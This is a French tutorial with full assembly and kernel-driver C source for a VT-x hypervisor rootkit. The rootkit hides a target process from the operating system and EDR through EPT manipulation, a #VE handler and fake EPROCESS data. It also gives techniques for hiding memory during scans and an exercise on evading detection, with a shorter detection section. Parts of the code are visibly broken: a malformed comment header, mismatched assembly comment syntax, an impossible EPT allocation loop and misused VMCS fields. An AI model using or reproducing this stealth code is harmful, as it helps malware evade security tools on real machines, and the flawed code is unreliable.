⚠️ LAB HARDWARE ISOLÉ OBLIGATOIRE – CPU Intel/AMD avec VT-x/AMD-V – Nécessite accès ring -1 – Article 323-1 Code pénal français – Recherche hyperviseur éthique uniquement

Hypervisor-based Process Hiding (VT-x) - Guide Complet 2026

Technique avancée de process hiding via hyperviseur avec #VE handler, EPT manipulation et memory stealth | Pour la recherche en sécurité hardware et virtualisation

🎯 Introduction : Virtualisation et Process Hiding

La virtualisation hardware (Intel VT-x / AMD-V) permet d'exécuter un hyperviseur au niveau ring -1, offrant un contrôle total sur la mémoire et l'exécution des processus. En 2026, cette technique est utilisée par les acteurs avancés pour cacher complètement des processus aux systèmes d'exploitation et aux EDR.

Pourquoi cette technique est-elle si puissante ?
L'hyperviseur opère en dessous du kernel (ring 0), ce qui lui permet d'intercepter et de manipuler toutes les opérations système, y compris les appels de listing des processus, sans être détecté par le système invité.

🔧 Prérequis Hardware pour le Lab :

  • CPU Intel avec VT-x et EPT (Extended Page Tables) supporté
  • CPU AMD avec AMD-V et RVI (Rapid Virtualization Indexing)
  • BIOS/UEFI avec virtualisation activée
  • Disable Secure Boot pour le lab (nécessite accès ring -1)
  • 16GB+ RAM (8GB pour host, 8GB pour VM)
  • Accès administrateur au host pour charger le driver hyperviseur

Concepts Clés :

VT-x (Intel Virtualization Technology)

Extension hardware permettant la création d'hyperviseurs de type 1 (bare-metal) et de type 2 (hosted).

EPT (Extended Page Tables)

Mécanisme de traduction d'adresses mémoire entre guest physical et host physical memory.

#VE (Virtualization Exception)

Exception déclenchée lorsqu'un guest tente d'accéder à une page mémoire marquée avec des bits spéciaux dans l'EPT.

VMCALL / VMLAUNCH

Instructions VMX pour entrer/sortir du mode VMX et gérer les transitions entre host et guest.

🏗️ Architecture du System Hiding via Hyperviseur

graph TB subgraph "Niveau Hardware (Ring -1)" HV[Hyperviseur Custom] HV --> EPT[EPT Manager] HV --> VE[#VE Handler] HV --> VMCS[VMCS Config] end subgraph "Niveau Kernel (Ring 0)" OS[Système d'Exploitation] OS --> PS[Process Listing APIs] OS --> MM[Memory Manager] end subgraph "Niveau Utilisateur (Ring 3)" EDR[EDR / Antivirus] Tools[Administration Tools] end OS -.->|Appel système| HV EDR -.->|Scan mémoire| HV EPT -->|Cache pages| Hidden[Process Hidden Memory] VE -->|Intercept access| Redirect[Redirect to Fake Data] style HV fill:#8a2be2 style Hidden fill:#ff3366

Flux d'Exécution Détaillé :

  1. Initialisation VMX : Chargement de l'hyperviseur via driver kernel
  2. Configuration EPT : Création des tables de pages étendues
  3. Installation #VE Handler : Configuration des vecteurs d'exception
  4. Process Hiding Logic : Interception des appels système relatifs aux processus
  5. Memory Stealth : Manipulation des accès mémoire aux zones cachées
  6. Clean Exit : Désactivation propre de l'hyperviseur
Important : Cette technique fonctionne parce que l'hyperviseur peut intercepter toutes les VM Exits (sorties du mode guest) et manipuler la mémoire via l'EPT avant de retourner les résultats au système invité.

⚡ #VE Handler - Gestion des Virtualization Exceptions

Le #VE handler est au cœur de la technique de process hiding. Il intercepte les accès mémoire spécifiques et peut retourner des données falsifiées au système invité.

Mécanisme #VE :

sequenceDiagram participant G as Guest OS participant H as Hyperviseur participant M as Mémoire Physique G->>M: Accès à page protégée M->>H: #VE Exception déclenchée H->>H: Examine l'accès (CR2, RIP) alt Accès à process hidden H->>H: Génère fake data H->>G: Retourne fake data else Accès légitime H->>M: Permet l'accès M->>G: Retourne vraie data end

Configuration des EPT Violations :

// Structure pour configurer les bits EPT
typedef struct _EPT_VIOLATION_CONFIG {
    UINT64 target_gpa;          // Guest Physical Address à protéger
    UINT64 hidden_process_gpa;  // GPA du processus à cacher
    UINT64 fake_gpa;            // GPA avec données falsifiées
    UINT8  access_type;         // READ(0)/WRITE(1)/EXEC(2)
} EPT_VIOLATION_CONFIG;

// Bits EPT pour déclencher #VE
#define EPT_READ_VIOLATION    (1 << 0)
#define EPT_WRITE_VIOLATION   (1 << 1)
#define EPT_EXEC_VIOLATION    (1 << 2)
#define EPT_MISCONFIG         (1 << 3)

Implémentation du #VE Handler en ASM :

; ====================================================================
; #VE HANDLER - Assembly x64 pour Intel VT-x
; ====================================================================
[BITS 64]

section .text

global ve_handler_entry
ve_handler_entry:
    ; Sauvegarde du contexte
    push r15
    push r14
    push r13
    push r12
    push r11
    push r10
    push r9
    push r8
    push rdi
    push rsi
    push rbp
    push rsp
    push rbx
    push rdx
    push rcx
    push rax
    
    ; Récupérer le GPA (Guest Physical Address) depuis VMCS
    mov rcx, 0x00002400      ; VMCS_GUEST_PHYSICAL_ADDRESS
    vmread rax, rcx
    mov [gpa_access], rax
    
    ; Récupérer le RIP (Instruction Pointer)
    mov rcx, 0x0000681E      ; VMCS_GUEST_RIP
    vmread rax, rcx
    mov [rip_access], rax
    
    ; Analyser le type d'accès
    mov rcx, 0x0000400C      ; VMCS_EXIT_QUALIFICATION
    vmread rax, rcx
    mov [exit_qual], rax
    
    ; Vérifier si c'est un accès à une zone cachée
    mov rdi, [gpa_access]
    call is_hidden_address
    test rax, rax
    jz .normal_access
    
    ; ============================================
    ; CAS 1: Accès à une zone cachée (process hidden)
    ; ============================================
    .hidden_access:
        ; Vérifier le type d'accès
        mov rax, [exit_qual]
        and rax, 0x7         ; Bits 0-2: Type d'accès
        
        cmp rax, 0           ; Lecture
        je .handle_read
        
        cmp rax, 1           ; Écriture
        je .handle_write
        
        cmp rax, 2           ; Exécution
        je .handle_exec
        
        ; Par défaut, bloquer l'accès
        jmp .block_access
    
    .handle_read:
        ; Pour les lectures, retourner des données falsifiées
        mov rdi, [gpa_access]
        call generate_fake_data
        
        ; Écrire les données falsifiées dans le registre approprié
        ; Basé sur l'instruction qui a causé le #VE
        mov rcx, 0x00001C1C  ; VMCS_GUEST_RAX
        mov rdx, [fake_data_buffer]
        vmwrite rcx, rdx
        
        ; Ajuster le RIP pour continuer après l'instruction
        mov rax, [rip_access]
        add rax, [instr_length]
        mov rcx, 0x0000681E  ; VMCS_GUEST_RIP
        vmwrite rcx, rax
        
        jmp .ve_exit
    
    .handle_write:
        ; Pour les écritures, simplement ignorer (ou journaliser)
        ; Ajuster le RIP pour continuer
        mov rax, [rip_access]
        add rax, [instr_length]
        mov rcx, 0x0000681E  ; VMCS_GUEST_RIP
        vmwrite rcx, rax
        jmp .ve_exit
    
    .handle_exec:
        ; Pour l'exécution, rediriger vers un stub safe
        mov rcx, 0x0000681E  ; VMCS_GUEST_RIP
        mov rdx, safe_stub
        vmwrite rcx, rdx
        jmp .ve_exit
    
    .block_access:
        ; Configurer pour injecter un #GP dans le guest
        mov rcx, 0x00004002  ; VMCS_IDT_VECTORING_INFO
        mov rdx, 0x80000D    #GP avec valid bit
        vmwrite rcx, rdx
        jmp .ve_exit
    
    ; ============================================
    ; CAS 2: Accès normal - permettre
    ; ============================================
    .normal_access:
        ; Réactiver l'accès en modifiant les bits EPT
        mov rdi, [gpa_access]
        call enable_ept_access
        ; Réessayer l'instruction
        jmp .ve_exit
    
    .ve_exit:
        ; Restauration du contexte
        pop rax
        pop rcx
        pop rdx
        pop rbx
        pop rsp
        pop rbp
        pop rsi
        pop rdi
        pop r8
        pop r9
        pop r10
        pop r11
        pop r12
        pop r13
        pop r14
        pop r15
        
        ; Retour du #VE handler
        vmresume

; ====================================================================
; FONCTIONS AUXILIAIRES
; ====================================================================

is_hidden_address:
    ; rdi = GPA à vérifier
    ; Retourne 1 si caché, 0 sinon
    mov rax, [hidden_process_base]
    cmp rdi, rax
    jb .not_hidden
    mov rbx, [hidden_process_end]
    cmp rdi, rbx
    ja .not_hidden
    mov rax, 1
    ret
    .not_hidden:
    xor rax, rax
    ret

generate_fake_data:
    ; rdi = GPA original
    ; Génère des données falsifiées dans [fake_data_buffer]
    ; Pour un EPROCESS caché, génère une structure vide ou d'un autre processus
    mov rsi, fake_eprocess_template
    mov rdi, fake_data_buffer
    mov rcx, 0x200  ; Taille EPROCESS approximative
    rep movsb
    ret

safe_stub:
    ; Stub d'exécution safe
    xor eax, eax
    ret

; ====================================================================
; DONNÉES
; ====================================================================
section .data

gpa_access:         dq 0
rip_access:         dq 0
exit_qual:          dq 0
instr_length:       dq 0
hidden_process_base:dq 0xFFFFF80000000000  ; Exemple d'adresse
hidden_process_end: dq 0xFFFFF80000001000
fake_data_buffer:   times 512 db 0
fake_eprocess_template:
    ; Structure EPROCESS falsifiée
    db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00  ; Pcb
    ; ... remplir avec des données plausibles mais inoffensives

🛠️ Code Principal de l'Hyperviseur

Voici le code complet pour un hyperviseur minimal qui implémente le process hiding via #VE handler et EPT manipulation.

// ====================================================================
// HYPERVISOR MINIMAL POUR PROCESS HIDING - Version 2026
// ====================================================================

#include 
#include 

#define PAGE_SIZE 4096
#define EPT_PML4_INDEX(addr) (((addr) >> 39) & 0x1FF)
#define EPT_PDPT_INDEX(addr) (((addr) >> 30) & 0x1FF)
#define EPT_PD_INDEX(addr)   (((addr) >> 21) & 0x1FF)
#define EPT_PT_INDEX(addr)   (((addr) >> 12) & 0x1FF)

// Structures VMX
typedef struct _VMX_EPT_POINTER {
    UINT64 memory_type : 3;
    UINT64 page_walk_length : 3;
    UINT64 accessed_dirty_enable : 1;
    UINT64 reserved1 : 5;
    UINT64 pml4_address : 36;
    UINT64 reserved2 : 16;
} VMX_EPT_POINTER;

typedef struct _VMCS_CONFIG {
    UINT64 host_rip;
    UINT64 host_rsp;
    UINT64 guest_rip;
    UINT64 guest_rsp;
    UINT64 ept_pointer;
    UINT64 msr_bitmap;
    UINT64 io_bitmap_a;
    UINT64 io_bitmap_b;
} VMCS_CONFIG;

// Variables globales
static VMCS_CONFIG g_vmcs = {0};
static UINT64* g_ept_pml4 = NULL;
static UINT64 g_hidden_process_cr3 = 0;
static UINT64 g_hidden_process_base = 0;

// ====================================================================
// INITIALISATION VMX
// ====================================================================

NTSTATUS InitializeVMX() {
    NTSTATUS status = STATUS_SUCCESS;
    
    // 1. Vérifier le support VT-x
    int cpu_info[4];
    __cpuid(cpu_info, 1);
    if (!(cpu_info[2] & (1 << 5))) {  // Bit 5 = VT-x support
        DbgPrint("[-] VT-x non supporté\n");
        return STATUS_NOT_SUPPORTED;
    }
    
    // 2. Activer VMX dans CR4
    __writecr4(__readcr4() | 0x2000);  // CR4.VMXE = 1
    
    // 3. Écrire VMXON region
    UINT64 vmxon_region = (UINT64)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'VMX1');
    if (!vmxon_region) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    
    RtlZeroMemory((PVOID)vmxon_region, PAGE_SIZE);
    *(UINT32*)vmxon_region = 0;  // Revision identifier
    
    // 4. Entrer en mode VMX
    __vmx_on(&vmxon_region);
    
    // 5. Allouer et configurer VMCS
    UINT64 vmcs_region = (UINT64)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'VMCS');
    if (!vmcs_region) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    
    RtlZeroMemory((PVOID)vmcs_region, PAGE_SIZE);
    *(UINT32*)vmcs_region = 0;
    
    __vmx_vmptrld(&vmcs_region);
    
    return status;
}

// ====================================================================
// CONFIGURATION EPT (Extended Page Tables)
// ====================================================================

NTSTATUS SetupEPT() {
    // 1. Allouer PML4
    g_ept_pml4 = (UINT64*)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'EPTP');
    if (!g_ept_pml4) {
        return STATUS_INSUFFICIENT_RESOURCES;
    }
    
    RtlZeroMemory(g_ept_pml4, PAGE_SIZE);
    
    // 2. Créer la hiérarchie EPT complète
    for (int i = 0; i < 512; i++) {
        UINT64* pdpt = (UINT64*)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'EPDP');
        if (!pdpt) {
            return STATUS_INSUFFICIENT_RESOURCES;
        }
        
        RtlZeroMemory(pdpt, PAGE_SIZE);
        
        for (int j = 0; j < 512; j++) {
            UINT64* pd = (UINT64*)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'EPPD');
            if (!pd) {
                return STATUS_INSUFFICIENT_RESOURCES;
            }
            
            RtlZeroMemory(pd, PAGE_SIZE);
            
            for (int k = 0; k < 512; k++) {
                // Allouer une page physique pour la table finale
                PHYSICAL_ADDRESS pa = MmGetPhysicalAddress(pd);
                UINT64* pt = (UINT64*)ExAllocatePoolWithTag(NonPagedPool, PAGE_SIZE, 'EPPT');
                
                for (int l = 0; l < 512; l++) {
                    // Calculer l'adresse physique correspondante
                    UINT64 gpa = ((UINT64)i << 39) | ((UINT64)j << 30) | ((UINT64)k << 21) | ((UINT64)l << 12);
                    
                    // Mapper GPA vers HPA (identity mapping par défaut)
                    UINT64 entry = gpa | 0x07;  // RWX permissions
                    
                    // Pour les pages du processus caché, configurer des bits spéciaux
                    if (gpa >= g_hidden_process_base && gpa < (g_hidden_process_base + 0x1000)) {
                        entry |= (1ULL << 63);  // Bit supprimé pour déclencher #VE
                        entry &= ~0x07;         // Enlever les permissions
                    }
                    
                    pt[l] = entry;
                }
                
                // Lier la page table au page directory
                PHYSICAL_ADDRESS pt_pa = MmGetPhysicalAddress(pt);
                pd[k] = pt_pa.QuadPart | 0x07;
            }
            
            // Lier le page directory au pdpt
            PHYSICAL_ADDRESS pd_pa = MmGetPhysicalAddress(pd);
            pdpt[j] = pd_pa.QuadPart | 0x07;
        }
        
        // Lier le pdpt au PML4
        PHYSICAL_ADDRESS pdpt_pa = MmGetPhysicalAddress(pdpt);
        g_ept_pml4[i] = pdpt_pa.QuadPart | 0x07;
    }
    
    // 3. Configurer le pointeur EPT dans le VMCS
    VMX_EPT_POINTER ept_ptr = {0};
    ept_ptr.memory_type = 6;  // Write-back
    ept_ptr.page_walk_length = 3;  // 4 niveaux
    ept_ptr.accessed_dirty_enable = 1;
    ept_ptr.pml4_address = MmGetPhysicalAddress(g_ept_pml4).QuadPart >> 12;
    
    __vmx_vmwrite(0x0000201A, *(UINT64*)&ept_ptr);  // VMCS_EPT_POINTER
    
    return STATUS_SUCCESS;
}

// ====================================================================
#VE HANDLER - Version C
// ====================================================================

UINT64 HandleVectoredException(UINT64 gpa, UINT64 exit_qualification) {
    // Vérifier si c'est un accès au processus caché
    if (gpa >= g_hidden_process_base && gpa < (g_hidden_process_base + 0x1000)) {
        UINT8 access_type = exit_qualification & 0x7;
        
        switch (access_type) {
            case 0:  // Lecture
                return GenerateFakeEprocessData(gpa);
                
            case 1:  // Écriture
                // Journaliser silencieusement
                LogStealthAccess(gpa, exit_qualification);
                return 0;  // Ignorer l'écriture
                
            case 2:  // Exécution
                return (UINT64)SafeStub;
                
            default:
                return 0;
        }
    }
    
    // Pour les autres accès, permettre normalement
    return 0;
}

UINT64 GenerateFakeEprocessData(UINT64 gpa) {
    // Générer une structure EPROCESS falsifiée
    static UINT8 fake_eprocess[512] = {0};
    
    // Remplir avec des données plausibles mais inoffensives
    *(UINT64*)(fake_eprocess + 0x2E0) = 0x4;  // ActiveProcessLinks
    *(UINT64*)(fake_eprocess + 0x2E8) = 0x4;
    *(UINT64*)(fake_eprocess + 0x400) = 0xFFFFF80000000000;  // DirectoryTableBase
    
    // PID et nom de processus falsifiés
    *(UINT64*)(fake_eprocess + 0x2E0) = 0x4;  // UniqueProcessId
    *(UINT64*)(fake_eprocess + 0x450) = 0x0000000000000000;  // ImageFileName
    
    return (UINT64)fake_eprocess;
}

// ====================================================================
// HOOK DES SYSCALLS DE LISTING DE PROCESSUS
// ====================================================================

VOID HookProcessListingAPIs() {
    // 1. NtQuerySystemInformation (classe SystemProcessInformation)
    // 2. NtQueryInformationProcess
    // 3. NtGetNextProcess
    
    // Technique: Modifier les handlers dans la SSDT ou utiliser EPT
    // pour rediriger les appels vers nos fonctions
    
    // Exemple: Hook via EPT en marquant les pages de code comme exécutables seulement
    // et interceptant les lectures de la SSDT
}

// ====================================================================
// FONCTION PRINCIPALE DU DRIVER
// ====================================================================

NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    NTSTATUS status = STATUS_SUCCESS;
    
    DbgPrint("[+] Hypervisor-based Process Hiding Driver Loading\n");
    
    // 1. Initialiser VMX
    status = InitializeVMX();
    if (!NT_SUCCESS(status)) {
        DbgPrint("[-] Échec de l'initialisation VMX\n");
        return status;
    }
    
    // 2. Configurer EPT
    status = SetupEPT();
    if (!NT_SUCCESS(status)) {
        DbgPrint("[-] Échec de la configuration EPT\n");
        return status;
    }
    
    // 3. Configurer le #VE handler
    __vmx_vmwrite(0x00004000, (UINT64)HandleVectoredException);  // VMCS_VECTORED_EXCEPTION_INFO
    
    // 4. Détecter et cacher un processus cible
    FindAndHideTargetProcess();
    
    // 5. Hooker les APIs de listing
    HookProcessListingAPIs();
    
    // 6. Lancer la VM
    __vmx_vmlaunch();
    
    DbgPrint("[+] Hypervisor actif - Processus caché\n");
    
    return status;
}

// ====================================================================
// CLEANUP
// ====================================================================

VOID DriverUnload(PDRIVER_OBJECT DriverObject) {
    DbgPrint("[+] Désactivation de l'hyperviseur\n");
    
    // 1. Sortir du mode VMX
    __vmx_off();
    
    // 2. Libérer la mémoire EPT
    if (g_ept_pml4) {
        ExFreePoolWithTag(g_ept_pml4, 'EPTP');
    }
    
    DbgPrint("[+] Hypervisor désactivé\n");
}

🧠 Techniques de Memory Stealth Avancées

1. EPT Splitting pour Cacher des Régions Spécifiques

// Technique: Diviser l'EPT pour cacher seulement certaines régions
VOID SetupEPTSplitting(UINT64 hidden_base, UINT64 hidden_size) {
    // Créer deux ensembles EPT:
    // 1. EPT normal pour la plupart de la mémoire
    // 2. EPT spécial pour les régions cachées
    
    for (UINT64 addr = hidden_base; addr < hidden_base + hidden_size; addr += PAGE_SIZE) {
        // Marquer la page comme "not present" dans l'EPT normal
        UINT64* ept_entry = GetEPTEntry(addr);
        *ept_entry &= ~(1ULL << 0);  // Clear present bit
        
        // Mais la garder dans l'EPT secondaire
        UINT64* hidden_ept_entry = GetHiddenEPTEntry(addr);
        *hidden_ept_entry = GetPhysicalAddress(addr) | 0x07;
    }
}

2. Page Table Mirroring pour Fake Data

// Créer un miroir des pages pour retourner des données falsifiées
VOID CreatePageMirror(UINT64 original_gpa, UINT64 fake_gpa) {
    // 1. Copier le contenu original
    PVOID original_data = MapGPAtoHVA(original_gpa);
    PVOID fake_data = MapGPAtoHVA(fake_gpa);
    RtlCopyMemory(fake_data, original_data, PAGE_SIZE);
    
    // 2. Modifier les données sensibles
    PEPROCESS fake_eprocess = (PEPROCESS)fake_data;
    fake_eprocess->UniqueProcessId = 0x4;  // System PID
    RtlZeroMemory(fake_eprocess->ImageFileName, 15);
    
    // 3. Configurer EPT pour rediriger les lectures vers le miroir
    UINT64* ept_entry = GetEPTEntry(original_gpa);
    *ept_entry = GetPhysicalAddress(fake_gpa) | 0x05;  // Read-only
}

3. Temporal Memory Hiding

// Cacher la mémoire seulement pendant certaines opérations
VOID TemporalHideMemory(UINT64 gpa, BOOLEAN hide) {
    UINT64* ept_entry = GetEPTEntry(gpa);
    
    if (hide) {
        // Pendant les scans EDR, cacher
        *ept_entry &= ~0x07;  // Enlever permissions
        *ept_entry |= (1ULL << 63);  // Déclencher #VE
    } else {
        // Sinon, rendre accessible
        *ept_entry |= 0x07;  // RWX permissions
        *ept_entry &= ~(1ULL << 63);
    }
}

🛡️ Détection et Défenses Contre les Hyperviseurs Malveillants

1. Detection via Timing Analysis

Mesurer le temps d'exécution des instructions VMX. Les hyperviseurs ajoutent de la latence.

2. VMFUNC Instructions

Utiliser VMFUNC pour vérifier la présence d'un hyperviseur non autorisé.

3. EPT Integrity Checking

Vérifier la cohérence des EPT en comparant les mappings GPA->HPA.

4. Secure Boot & DRTM

Utiliser Dynamic Root of Trust Measurements pour vérifier l'intégrité au boot.

5. Hardware-assisted Security

Intel TXT, AMD SVM avec Secure Encrypted Virtualization (SEV).

6. Hypervisor Introspection

Solutions comme Microsoft's HyperGuard surveillent l'hyperviseur lui-même.

Code de Détection d'Hyperviseur :

// ====================================================================
// DETECTEUR D'HYPERVISEUR MALVEILLANT
// ====================================================================

BOOL DetectMaliciousHypervisor() {
    BOOL detected = FALSE;
    
    // 1. Vérifier le bit VMX dans CR4
    UINT64 cr4 = __readcr4();
    if (cr4 & 0x2000) {
        DbgPrint("[!] VMX activé dans CR4\n");
        detected = TRUE;
    }
    
    // 2. Timing attack sur VMCALL
    UINT64 start = __rdtsc();
    __try {
        __vmx_vmcall();
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        // Normalement, VMCALL cause #UD sans hyperviseur
    }
    UINT64 end = __rdtsc();
    
    if ((end - start) > 1000) {  // Seuil arbitraire
        DbgPrint("[!] Timing anomalie détectée\n");
        detected = TRUE;
    }
    
    // 3. Vérifier les MSRs VMX
    UINT64 vmx_basic = __readmsr(0x480);
    if (vmx_basic != 0) {
        DbgPrint("[!] MSRs VMX configurés\n");
        detected = TRUE;
    }
    
    // 4. Vérifier l'EPT via VMFUNC
    __try {
        UINT64 eptp_list[1] = {0};
        __vmfunc(0, eptp_list);  // EPTP switching
    } __except(EXCEPTION_EXECUTE_HANDLER) {
        // Sans EPT, cela cause une exception
        detected = FALSE;
    }
    
    return detected;
}

// ====================================================================
// VÉRIFICATION D'INTÉGRITÉ EPT
// ====================================================================

BOOL CheckEPTIntegrity() {
    // 1. Lire le pointeur EPT actuel
    UINT64 ept_pointer = 0;
    __vmx_vmread(0x0000201A, &ept_pointer);
    
    // 2. Parcourir l'EPT et vérifier les mappings
    UINT64* ept_pml4 = (UINT64*)(ept_pointer & ~0xFFF);
    
    for (int i = 0; i < 512; i++) {
        if (ept_pml4[i] & 0x1) {  // Entry présente
            UINT64* pdpt = (UINT64*)(ept_pml4[i] & ~0xFFF);
            
            for (int j = 0; j < 512; j++) {
                if (pdpt[j] & 0x1) {
                    UINT64* pd = (UINT64*)(pdpt[j] & ~0xFFF);
                    
                    // Vérifier les permissions suspectes
                    for (int k = 0; k < 512; k++) {
                        if (pd[k] & 0x1) {
                            UINT64 permissions = pd[k] & 0x7;
                            
                            // Pages avec permissions inhabituelles
                            if (permissions == 0 || permissions == 4) {
                                DbgPrint("[!] Permission EPT suspecte détectée\n");
                                return FALSE;
                            }
                        }
                    }
                }
            }
        }
    }
    
    return TRUE;
}

🔬 Exercices de Laboratoire Avancés

Exercice 1 : Construction d'un Hyperviseur Minimal

Objectif : Implémenter un hyperviseur qui cache une page mémoire spécifique.

  1. Configurer VMX et allouer les régions nécessaires
  2. Mettre en place l'EPT avec identity mapping
  3. Implémenter un #VE handler simple qui logue les accès
  4. Tester avec un programme qui lit/écrit dans la page cachée
  5. Étendre pour cacher un processus entier

Exercice 2 : Détection d'Hyperviseur Malveillant

Objectif : Développer un outil de détection d'hyperviseur.

// Tâches :
1. Implémenter les timing attacks
2. Vérifier les MSRs VMX
3. Analyser les tables de pages (EPT vs normale)
4. Détecter les incohérences mémoire
5. Générer un rapport de détection

Exercice 3 : Analyse Forensique de Mémoire

Objectif : Analyser un dump mémoire contenant un hyperviseur malveillant.

Exercice 4 : Évasion des Détections

Objectif : Améliorer l'hyperviseur pour contourner les détections.

  1. Implémenter des techniques anti-timing
  2. Cacher les structures VMX en mémoire
  3. Utiliser du code polymorphe pour le #VE handler
  4. Mettre en place un système de cleanup automatique
  5. Tester contre différents outils de détection

🎯 Conclusion et Perspectives 2026

État Actuel de la Technique :
En 2026, les hyperviseurs malveillants sont devenus l'arme ultime des acteurs avancés. Avec l'arrivée de nouvelles fonctionnalités hardware (Intel CET, AMD SEV-SNP), la course aux armements entre attaquants et défenseurs s'intensifie au niveau hardware.

Évolutions Futures :

Ressources pour Approfondir :

Avertissement Final :
Ces techniques opèrent au plus bas niveau du système (ring -1) et peuvent causer une instabilité système, des corruptions de données, et des dommages matériels si mal implémentées. Utilisez UNIQUEMENT dans un environnement de laboratoire dédié avec du matériel de test.